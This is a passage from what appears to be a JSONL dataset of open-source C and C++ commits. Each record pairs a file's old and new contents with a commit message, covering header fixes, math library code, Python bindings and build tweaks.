kjchess.\nFOUNDATION_EXPORT double kjchessVersionNumber;\n\n\/\/! Project version string for kjchess.\nFOUNDATION_EXPORT const unsigned char kjchessVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <kjchess\/PublicHeader.h>\n\n\n","subject":"Remove a \"Created by\" comment line","message":"Remove a \"Created by\" comment line\n","lang":"C","license":"mit","repos":"kristopherjohnson\/kjchess,kristopherjohnson\/kjchess"}
{"commit":"3efef59ae6fc987c6b05d677b91e0f30a694ccfa","old_file":"lib\/osx_cf_util.h","new_file":"lib\/osx_cf_util.h","old_contents":"void osx_cf_run_loop_run();\n","new_contents":"void osx_cf_run_loop_run();\n\nCFRunLoopRunResult osx_cf_run_loop_run_in_mode\n(CFStringRef mode, CFTimeInterval seconds, Boolean returnAfterSourceHandled);\n","subject":"Add run_in_mode prototype to util header","message":"Add run_in_mode prototype to util header\n","lang":"C","license":"isc","repos":"dsheets\/ocaml-osx-cf"}
{"commit":"ac08fb9eb09123e22d33f513a7ed11e59f6df96d","old_file":"internal.h","new_file":"internal.h","old_contents":"\/*****************************************************************************\n * internal.h:\n *****************************************************************************\n * Copyright (C) 2010-2012 L-SMASH project\n *\n * Authors:  Takashi Hirata <silverfilain@gmail.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *****************************************************************************\/\n\n\/* This file is available under an ISC license. *\/\n\n#ifndef INTERNAL_H\n#define INTERNAL_H\n\n#include \"common\/osdep.h\" \/* must be placed before stdio.h *\/\n#include <stdio.h>\n#include <assert.h>\n\n#ifndef lsmash_fseek\n#define lsmash_fseek fseek\n#define lsmash_ftell ftell\n#endif\n\n#include \"lsmash.h\"\n\n#endif\n","new_contents":"\/*****************************************************************************\n * internal.h:\n *****************************************************************************\n * Copyright (C) 2010-2012 L-SMASH project\n *\n * Authors:  Takashi Hirata <silverfilain@gmail.com>\n *\n * Permission to use, copy, modify, and\/or distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n *****************************************************************************\/\n\n\/* This file is available under an ISC license. *\/\n\n#ifndef INTERNAL_H\n#define INTERNAL_H\n\n#include \"common\/osdep.h\" \/* must be placed before stdio.h *\/\n#include <stdio.h>\n#include <assert.h>\n\n#ifndef lsmash_fseek\n#define lsmash_fseek fseeko\n#define lsmash_ftell ftello\n#endif\n\n#include \"lsmash.h\"\n\n#endif\n","subject":"Use ftello\/fseeko instead of ftell\/fseek","message":"Use ftello\/fseeko instead of ftell\/fseek\n\nOn 32-bit systems, fseek returns a long, which is 32-bits, and\nfseek takes its offset argument as a long, as well. In order\nto return and use 64-bit offsets, use ftello and fseeko, along\nwhich defining _FILE_OFFSET_BITS 64, which is already in osdep.h.\n","lang":"C","license":"isc","repos":"maki-rxrz\/L-SMASH,silverfilain\/L-SMASH,dwbuiten\/l-smash,mstorsjo\/l-smash,canbal\/l-smash,canbal\/l-smash,l-smash\/l-smash,maki-rxrz\/L-SMASH,silverfilain\/L-SMASH,mstorsjo\/l-smash,silverfilain\/L-SMASH,l-smash\/l-smash,l-smash\/l-smash,dwbuiten\/l-smash"}
{"commit":"957004881ae4afbd1234f648b8419b5a2cde6434","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdio.h>\n#include \"main.h\"\n\nint main(int argc, char *argv[]) {\n\tusage(argv[0]);\n}\n\nvoid usage(char *utilname) {\n\tprintf(\"Usage: %s <input_file> <output_file> [options]\\n\", utilname);\n\tprintf(\"WARNING: UTILITY IS NOT FULLY FUNCTIONAL YET\\n\");\n\tprintf(\"Options:\\n\");\n\t\/\/TODO: add optional arguments for each filter option\n\tprintf(\"  -b --blur             Apply box blur\\n\");\n\tprintf(\"  -g --gaussian         Apply Gaussian blur\\n\");\n\tprintf(\"  -s --sharpen          Sharpen image\\n\");\n\tprintf(\"  -u --unsharpen        Unsharpen image\\n\");\n\tprintf(\"  -o --outline          Outline image\\n\");\n\tprintf(\"  -e --emboss           Emboss image\\n\");\n\tprintf(\"  --topsobel            Apply top Sobel filter\\n\");\n\tprintf(\"  --bottomsobel         Apply bottom Sobel filter\\n\");\n\tprintf(\"  --rightsobel          Apply right Sobel filter\\n\");\n\tprintf(\"  --leftsobel           Apply left Sobel filter\\n\");\n\tprintf(\"  -c FILE --custom=FILE Apply custom filter\\n\");\n}\n","new_contents":"#include <stdio.h>\n#include \"main.h\"\n\nint main(int argc, char *argv[])\n{\n\tusage(argv[0]);\n}\n\nvoid usage(char *utilname)\n{\n\tprintf(\"Usage: %s <input_file> <output_file> [options]\\n\", utilname);\n\tprintf(\"WARNING: UTILITY IS NOT FULLY FUNCTIONAL YET\\n\");\n\tprintf(\"Options:\\n\");\n\t\/* TODO: add optional arguments for each filter option *\/\n\tprintf(\"  -b --blur             Apply box blur\\n\");\n\tprintf(\"  -g --gaussian         Apply Gaussian blur\\n\");\n\tprintf(\"  -s --sharpen          Sharpen image\\n\");\n\tprintf(\"  -u --unsharpen        Unsharpen image\\n\");\n\tprintf(\"  -o --outline          Outline image\\n\");\n\tprintf(\"  -e --emboss           Emboss image\\n\");\n\tprintf(\"  --topsobel            Apply top Sobel filter\\n\");\n\tprintf(\"  --bottomsobel         Apply bottom Sobel filter\\n\");\n\tprintf(\"  --rightsobel          Apply right Sobel filter\\n\");\n\tprintf(\"  --leftsobel           Apply left Sobel filter\\n\");\n\tprintf(\"  -c FILE --custom=FILE Apply custom filter\\n\");\n}\n","subject":"Convert to Linux kernel style","message":"Convert to Linux kernel style\n","lang":"C","license":"mit","repos":"TheUnderscores\/qfilt"}
{"commit":"3735e6ade1f791994f7ee203feab3dbe233c3dad","old_file":"src\/main.h","new_file":"src\/main.h","old_contents":"#ifndef MAIN_H\n#define MAIN_H\n#include <cstdlib>\n#include <iostream>\n#include <tr1\/unordered_map>\n#include <vector>\n#include <list>\n#include <set>\n\n#include <pthread.h>\n#endif","new_contents":"#ifndef MAIN_H\n#define MAIN_H\n#include <unistd.h>\n#include <cstdlib>\n#include <iostream>\n#include <tr1\/unordered_map>\n#include <vector>\n#include <list>\n#include <set>\n\n#include <pthread.h>\n#endif","subject":"Fix compile on some systems","message":"Fix compile on some systems\n","lang":"C","license":"mit","repos":"ElementalAlchemist\/RoBoBo,ElementalAlchemist\/RoBoBo"}
{"commit":"be070dc174759c8e71d6dac44a073af7a58e92b1","old_file":"lib\/msun\/src\/s_nexttowardf.c","new_file":"lib\/msun\/src\/s_nexttowardf.c","old_contents":"","new_contents":"\/*\n * ====================================================\n * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved.\n *\n * Developed at SunPro, a Sun Microsystems, Inc. business.\n * Permission to use, copy, modify, and distribute this\n * software is freely granted, provided that this notice\n * is preserved.\n * ====================================================\n *\/\n\n#ifndef lint\nstatic char rcsid[] = \"$FreeBSD$\";\n#endif\n\n#include <float.h>\n\n#include \"fpmath.h\"\n#include \"math.h\"\n#include \"math_private.h\"\n\n#define\tLDBL_INFNAN_EXP\t(LDBL_MAX_EXP * 2 - 1)\n\nfloat\nnexttowardf(float x, long double y)\n{\n\tunion IEEEl2bits uy;\n\tvolatile float t;\n\tint32_t hx,ix;\n\n\tGET_FLOAT_WORD(hx,x);\n\tix = hx&0x7fffffff;\t\t\/* |x| *\/\n\tuy.e = y;\n\n\tif((ix>0x7f800000) ||\n\t   (uy.bits.exp == LDBL_INFNAN_EXP &&\n\t    ((uy.bits.manh&~LDBL_NBIT)|uy.bits.manl) != 0))\n\t   return x+y;\t\/* x or y is nan *\/\n\tif(x==y) return (float)y;\t\t\/* x=y, return y *\/\n\tif(ix==0) {\t\t\t\t\/* x == 0 *\/\n\t    SET_FLOAT_WORD(x,(uy.bits.sign<<31)|1);\/* return +-minsubnormal *\/\n\t    t = x*x;\n\t    if(t==x) return t; else return x;\t\/* raise underflow flag *\/\n\t}\n\tif(hx>=0 ^ x < y)\t\t\t\/* x -= ulp *\/\n\t    hx -= 1;\n\telse\t\t\t\t\t\/* x += ulp *\/\n\t    hx += 1;\n\tix = hx&0x7f800000;\n\tif(ix>=0x7f800000) return x+x;\t\/* overflow  *\/\n\tif(ix<0x00800000) {\t\t\/* underflow *\/\n\t    t = x*x;\n\t    if(t!=x) {\t\t\/* raise underflow flag *\/\n\t        SET_FLOAT_WORD(y,hx);\n\t\treturn y;\n\t    }\n\t}\n\tSET_FLOAT_WORD(x,hx);\n\treturn x;\n}\n","subject":"Implement nexttowardf. This is used on both platforms with 11-bit exponents and platforms with 15-bit exponents for long doubles.","message":"Implement nexttowardf.  This is used on both platforms with 11-bit\nexponents and platforms with 15-bit exponents for long doubles.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"bed0662b1539b52075e0249894239ad4d17b9706","old_file":"src\/drafterpy.c","new_file":"src\/drafterpy.c","old_contents":"","new_contents":"#include <Python.h>\n#include <drafter\/drafter.h>\n\nstatic PyObject *drafterpy_parse_blueprint_to(PyObject *self, PyObject *args){\n    char *blueprint;\n    char *format;\n    char *result = NULL;\n\n    drafter_options options;\n    options.sourcemap = true;\n\n    if(!PyArg_ParseTuple(args, \"ss\", &blueprint, &format))\n        return NULL;\n\n    if(strcmp(\"json\", format) == 0)\n        options.format = DRAFTER_SERIALIZE_JSON;\n    else if (strcmp(\"yaml\", format) == 0)\n        options.format = DRAFTER_SERIALIZE_YAML;\n    else {\n        fprintf(stderr, \"Fatal error: Invalid output format\\n\");\n        return NULL;\n    }\n    drafter_parse_blueprint_to(blueprint, &result, options);\n\n    return Py_BuildValue(\"s\", result);\n\n}\n\nstatic PyObject *drafterpy_check_blueprint(PyObject *self, PyObject *args){\n    char *blueprint;\n    char *format;\n    \n    if(!PyArg_ParseTuple(args, \"s\", &blueprint))\n        return NULL;\n    \n    drafter_result* result = drafter_check_blueprint(blueprint);\n    \n    if (result == NULL)\n        return Py_BuildValue(\"O\", Py_True);\n        \n    drafter_free_result(result);\n    return Py_BuildValue(\"O\", Py_False);\n    \n}\n\nstatic PyMethodDef drafterpy_methods[] = {\n    {\"parse_blueprint_to\", (PyCFunction)drafterpy_parse_blueprint_to, METH_VARARGS, \n     \"Parses a blueprint into JSON or YAML.\"},\n    {\"check_blueprint\", (PyCFunction)drafterpy_check_blueprint, METH_VARARGS, \n     \"Verify given blueprint correctness.\"},\n    {NULL, NULL, 0, NULL}   \/* Sentinel *\/\n};\n\nstatic char drafterpy_docstring[] =\n    \"Python bindings for libdrafter.\\nDrafter is a Snowcrash parser harness.\";\n    \nstatic struct PyModuleDef drafterpymodule = {\n    PyModuleDef_HEAD_INIT,\n    \"drafterpy\",\n    drafterpy_docstring,\n    -1,\n    drafterpy_methods\n};\n\nPyMODINIT_FUNC PyInit_drafterpy(void){\n    return PyModule_Create(&drafterpymodule);\n}\n\nint main(int argc, char *argv[]){\n    wchar_t *program = Py_DecodeLocale(argv[0], NULL);\n    if (program == NULL) {\n        fprintf(stderr, \"Fatal error: cannot decode argv[0]\\n\");\n    }\n\n    \/* Add a built-in module, before Py_Initialize *\/\n    PyImport_AppendInittab(\"drafterpy\", PyInit_drafterpy);\n\n    \/* Pass argv[0] to the Python interpreter. REQUIRED *\/\n    Py_SetProgramName(program);\n\n    \/* Initialize the Python Interpreter. REQUIRED *\/\n    Py_Initialize();\n\n    PyImport_ImportModule(\"drafterpy\");\n\n    PyMem_RawFree(program);\n    return 0;\n}\n","subject":"Add C-API bindings with initial methods. It can verify a blueprint and parse it into json or yaml.","message":"Add C-API bindings with initial methods.\nIt can verify a blueprint and parse it into json or yaml.\n","lang":"C","license":"mit","repos":"menecio\/drafterpy,menecio\/drafterpy"}
{"commit":"a9b6590ced1370537edad8dc60be32c044b2380e","old_file":"include\/asm-mips\/mach-generic\/dma-coherence.h","new_file":"include\/asm-mips\/mach-generic\/dma-coherence.h","old_contents":"\/*\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\n * Copyright (C) 2006  Ralf Baechle <ralf@linux-mips.org>\n *\n *\/\n#ifndef __ASM_MACH_GENERIC_DMA_COHERENCE_H\n#define __ASM_MACH_GENERIC_DMA_COHERENCE_H\n\nstruct device;\n\nstatic dma_addr_t plat_map_dma_mem(struct device *dev, void *addr, size_t size)\n{\n\treturn virt_to_phys(addr);\n}\n\nstatic dma_addr_t plat_map_dma_mem_page(struct device *dev, struct page *page)\n{\n\treturn page_to_phys(page);\n}\n\nstatic unsigned long plat_dma_addr_to_phys(dma_addr_t dma_addr)\n{\n\treturn dma_addr;\n}\n\nstatic void plat_unmap_dma_mem(dma_addr_t dma_addr)\n{\n}\n\nstatic inline int plat_device_is_coherent(struct device *dev)\n{\n#ifdef CONFIG_DMA_COHERENT\n\treturn 1;\n#endif\n#ifdef CONFIG_DMA_NONCOHERENT\n\treturn 0;\n#endif\n}\n\n#endif \/* __ASM_MACH_GENERIC_DMA_COHERENCE_H *\/\n","new_contents":"\/*\n * This file is subject to the terms and conditions of the GNU General Public\n * License.  See the file \"COPYING\" in the main directory of this archive\n * for more details.\n *\n * Copyright (C) 2006  Ralf Baechle <ralf@linux-mips.org>\n *\n *\/\n#ifndef __ASM_MACH_GENERIC_DMA_COHERENCE_H\n#define __ASM_MACH_GENERIC_DMA_COHERENCE_H\n\nstruct device;\n\nstatic inline dma_addr_t plat_map_dma_mem(struct device *dev, void *addr,\n\tsize_t size)\n{\n\treturn virt_to_phys(addr);\n}\n\nstatic inline dma_addr_t plat_map_dma_mem_page(struct device *dev,\n\tstruct page *page)\n{\n\treturn page_to_phys(page);\n}\n\nstatic inline unsigned long plat_dma_addr_to_phys(dma_addr_t dma_addr)\n{\n\treturn dma_addr;\n}\n\nstatic inline void plat_unmap_dma_mem(dma_addr_t dma_addr)\n{\n}\n\nstatic inline int plat_device_is_coherent(struct device *dev)\n{\n#ifdef CONFIG_DMA_COHERENT\n\treturn 1;\n#endif\n#ifdef CONFIG_DMA_NONCOHERENT\n\treturn 0;\n#endif\n}\n\n#endif \/* __ASM_MACH_GENERIC_DMA_COHERENCE_H *\/\n","subject":"Fix a bunch of warnings due to missing inline keywords.","message":"[MIPS] DMA: Fix a bunch of warnings due to missing inline keywords.\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"ad299b8f040b9dfb07c466d2b7a770273d4d583d","old_file":"lib\/bits.h","new_file":"lib\/bits.h","old_contents":"","new_contents":"\/\/ Copyright 2019 Google LLC. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     https:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#ifndef BITS_H_\n#define BITS_H_\n\n#ifdef __BMI2__\n\n#include <immintrin.h>\n\n#include <cstdint>\n\nnamespace qsim {\nnamespace bits {\n\ninline uint32_t ExpandBits(uint32_t bits, unsigned n, uint32_t mask) {\n  return _pdep_u32(bits, mask);\n}\n\ninline uint64_t ExpandBits(uint64_t bits, unsigned n, uint64_t mask) {\n  return _pdep_u64(bits, mask);\n}\n\ninline uint32_t CompressBits(uint32_t bits, unsigned n, uint32_t mask) {\n  return _pext_u32(bits, mask);\n}\n\ninline uint64_t CompressBits(uint64_t bits, unsigned n, uint64_t mask) {\n  return _pext_u64(bits, mask);\n}\n\n}  \/\/ namespace bits\n}  \/\/ namespace qsim\n\n#else  \/\/ __BMI2__\n\nnamespace qsim {\nnamespace bits {\n\ntemplate <typename I>\ninline I ExpandBits(I bits, unsigned n, I mask) {\n  I ebits = 0;\n  unsigned k = 0;\n\n  for (unsigned i = 0; i < n; ++i) {\n    if ((mask >> i) & 1) {\n      ebits |= ((bits >> k) & 1) << i;\n      ++k;\n    }\n  }\n\n  return ebits;\n}\n\ntemplate <typename I>\ninline I CompressBits(I bits, unsigned n, I mask) {\n  I sbits = 0;\n  unsigned k = 0;\n\n  for (unsigned i = 0; i < n; ++i) {\n    if ((mask >> i) & 1) {\n      sbits |= ((bits >> i) & 1) << k;\n      ++k;\n    }\n  }\n\n  return sbits;\n}\n\n}  \/\/ namespace bits\n}  \/\/ namespace qsim\n\n#endif  \/\/ __BMI2__\n\nnamespace qsim {\nnamespace bits {\n\ntemplate <typename I>\ninline I PermuteBits(I bits, unsigned n, const std::vector<unsigned>& perm) {\n  I pbits = 0;\n\n  for (unsigned i = 0; i < n; ++i) {\n    pbits |= ((bits >> i) & 1) << perm[i];\n  }\n\n  return pbits;\n}\n\n}  \/\/ namespace bits\n}  \/\/ namespace qsim\n\n#endif  \/\/ BITS_H_\n","subject":"Add matrix routines for multi-qubit gates. Add required file.","message":"Add matrix routines for multi-qubit gates. Add required file.\n","lang":"C","license":"apache-2.0","repos":"quantumlib\/qsim,quantumlib\/qsim,quantumlib\/qsim,quantumlib\/qsim"}
{"commit":"d9e17f30737a71df4ccc6b784f237a15484803f4","old_file":"libspell.h","new_file":"libspell.h","old_contents":"#ifndef LIBSPELL_H\n#define LIBSPELL_H\nchar *spell(sqlite3*, char *);\nchar *get_suggestions(char *);\n\n#endif\n","new_contents":"#ifndef LIBSPELL_H\n#define LIBSPELL_H\nchar *spell(char *);\nchar *get_suggestions(char *);\n\n#endif\n","subject":"Remove sqlite3 * parameter from the spell function's declaration.","message":"Remove sqlite3 * parameter from the spell function's declaration.\n","lang":"C","license":"bsd-2-clause","repos":"abhinav-upadhyay\/spell,abhinav-upadhyay\/spell"}
{"commit":"003e6f400e495cbbae7ecf4aa908c37c78c7e15a","old_file":"test\/Driver\/offloading-interoperability.c","new_file":"test\/Driver\/offloading-interoperability.c","old_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp=libomp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld\" {{.*}}\"-m\" \"elf64lppc\"\n","new_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -no-canonical-prefixes -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp=libomp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT:  -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE:      -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld\" {{.*}}\"-m\" \"elf64lppc\"\n","subject":"Add missing '-no-canonical-prefixes' in test.","message":"Add missing '-no-canonical-prefixes' in test.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@277141 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"f9b710224dadb8157a1cf76df91509db29946e0c","old_file":"src\/lib\/array.h","new_file":"src\/lib\/array.h","old_contents":"#pragma once\n\n#include <cassert>\n\nnamespace Utilities {\nnamespace Array {\ntemplate <class T, class Size = unsigned int>\nclass Array {\n public:\n  Array(T* data, Size capacity) : data_(data), capacity_(capacity) {\n    assert(data_);\n    assert(capacity_ > 0);\n  }\n\n  T& operator[](Size index) {\n    assert(index < capacity_);\n    return data_[index];\n  }\n  const T& operator[](Size index) const {\n    assert(index < capacity_);\n    return data_[index];\n  }\n  T& operator*() { return *data_; }\n  const T& operator*() const { return *data_; }\n  T* data() { return data_; }\n  const T* data() const { return data_; }\n\n  \/**\n   * If T is primitive but not floating point, or if value is zero, the\n   * caller should probably use memset on the raw pointer instead\n   *\/\n  void assign(Size numElements, const T& value) {\n#pragma vector always assert\n    for (Size i = 0; i < numElements; ++i) {\n      data_[i] = value;\n    }\n  }\n  void clear() { capacity_ = 0; }\n\n  Size capacity() const { return capacity_; }\n  Size size() const { return capacity_; }\n  Size length() const { return capacity_; }\n\n private:\n  T* data_;\n  Size capacity_;\n};\n}\n}\n","new_contents":"#pragma once\n\n#include <cassert>\n#include <functional>\n\nnamespace Utilities {\nnamespace Array {\ntemplate <class T, class Size = unsigned int>\nclass Array {\n public:\n  Array(T*&& data, Size capacity, std::function<void(T**)>&& deleteData)\n      : data_(std::move(data)),\n        capacity_(capacity),\n        deleteData_(std::move(deleteData)) {\n    assert(data_);\n    assert(capacity_ > 0);\n  }\n  Array(T* data, Size capacity)\n      : data_(data), capacity_(capacity), deleteData_([](T**) {}) {\n    assert(data_);\n    assert(capacity_ > 0);\n  }\n  virtual ~Array() { deleteData_(&data_); }\n\n  T& operator[](Size index) {\n    assert(index < capacity_);\n    return data_[index];\n  }\n  const T& operator[](Size index) const {\n    assert(index < capacity_);\n    return data_[index];\n  }\n  T& operator*() { return *data_; }\n  const T& operator*() const { return *data_; }\n  T* data() { return data_; }\n  const T* data() const { return data_; }\n\n  \/**\n   * If T is primitive but not floating point, or if value is zero, the\n   * caller should probably use memset on the raw pointer instead\n   *\/\n  void assign(Size numElements, const T& value) {\n#pragma vector always assert\n    for (Size i = 0; i < numElements; ++i) {\n      data_[i] = value;\n    }\n  }\n  void clear() { capacity_ = 0; }\n\n  Size capacity() const { return capacity_; }\n  Size size() const { return capacity_; }\n  Size length() const { return capacity_; }\n\n protected:\n  T* data_;\n  Size capacity_;\n  std::function<void(T**)> deleteData_;\n};\n}\n}\n","subject":"Add ability for Array to take ownership of its data","message":"Add ability for Array to take ownership of its data\n","lang":"C","license":"mit","repos":"dmorrill10\/cpp_utilities"}
{"commit":"9f5f289c8cfc25ee4faac85cb4d13ac0668723e7","old_file":"scene\/Element.h","new_file":"scene\/Element.h","old_contents":"\/*\n * Represents an element which can be rendered as part of a scene.\n * Author: Dino Wernli\n *\/\n\n#ifndef ELEMENT_H_\n#define ELEMENT_H_\n\n#include <cstddef>\n\nclass IntersectionData;\nclass Ray;\n\nclass Element {\n public:\n  virtual ~Element();\n  bool Intersect(const Ray& ray, IntersectionData* data = NULL) = 0;\n};\n\n#endif  \/* ELEMENT_H_ *\/\n","new_contents":"\/*\n * Represents an element which can be rendered as part of a scene.\n * Author: Dino Wernli\n *\/\n\n#ifndef ELEMENT_H_\n#define ELEMENT_H_\n\n#include <cstddef>\n\nclass IntersectionData;\nclass Ray;\n\nclass Element {\n public:\n  virtual ~Element();\n  virtual bool Intersect(const Ray& ray, IntersectionData* data = NULL) = 0;\n};\n\n#endif  \/* ELEMENT_H_ *\/\n","subject":"Fix build failure by adding virtual keyword.","message":"Fix build failure by adding virtual keyword.\n","lang":"C","license":"mit","repos":"dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer,dinowernli\/raytracer"}
{"commit":"f25dddb1b73261e7829554b764178077f1e2ccd2","old_file":"AFNetworking\/AFJSONUtilities.h","new_file":"AFNetworking\/AFJSONUtilities.h","old_contents":"\/\/ AFJSONUtilities.h\n\/\/\n\/\/ Copyright (c) 2011 Gowalla (http:\/\/gowalla.com\/)\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/ \n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n#import <Foundation\/Foundation.h>\n\nNSData * AFJSONEncode(id object, NSError **error);\nid AFJSONDecode(NSData *data, NSError **error);\n","new_contents":"\/\/ AFJSONUtilities.h\n\/\/\n\/\/ Copyright (c) 2011 Gowalla (http:\/\/gowalla.com\/)\n\/\/ \n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/ \n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies 